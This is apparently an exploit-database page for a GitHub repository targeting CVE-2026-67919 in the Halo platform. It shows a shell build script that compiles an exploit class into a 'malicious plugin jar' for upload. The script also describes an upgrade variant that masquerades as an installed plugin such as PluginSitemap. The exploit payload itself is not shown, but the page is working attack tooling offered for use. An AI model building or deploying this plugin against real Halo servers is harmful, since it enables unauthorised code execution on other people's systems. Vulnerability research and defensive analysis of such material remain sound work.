Exploit databaseDownload repository ZIP
GH-819df2a22038c4b3074a2ab1246ebb3f
k0nnect/halo-cve-2026-67919
Sources for CVE-2026-67919
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files7
k0nnect/halo-cve-2026-67919Revision 1bf52b7d0d6c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
plugin/build.sh
Shell · 1,028 bytes#!/bin/sh
# builds the malicious plugin jar.
#
# needs jdk 17+. pulls pf4j and the jakarta annotations api from maven
# central, compiles the extension, packages the jar with the manifest
# and the plugin-components.idx that halo looks for.
#
# output: poc-plugin.jar
#
# for the one-request upgrade variant: edit plugin.yaml so
# metadata.name matches an installed plugin (e.g. PluginSitemap) and
# bump spec.version, then rebuild.
set -e
cd "$(dirname "$0")"
PF4J=pf4j-3.15.0.jar
ANN=jakarta.annotation-api-2.1.1.jar
BASE_URL=https://repo1.maven.org/maven2
if [ ! -f "$PF4J" ]; then
curl -fsSL -o "$PF4J" "$BASE_URL/org/pf4j/pf4j/3.15.0/$PF4J"
fi
if [ ! -f "$ANN" ]; then
curl -fsSL -o "$ANN" "$BASE_URL/jakarta/annotation/jakarta.annotation-api/2.1.1/$ANN"
fi
rm -rf build && mkdir -p build
javac -proc:none --release 17 -cp "$PF4J:$ANN" -d build run/halo/poc/Exploit.java
cp -r META-INF build/
jar --create --file poc-plugin.jar -C build . -C . plugin.yaml
echo "built poc-plugin.jar"
rm -rf build "$PF4J" "$ANN"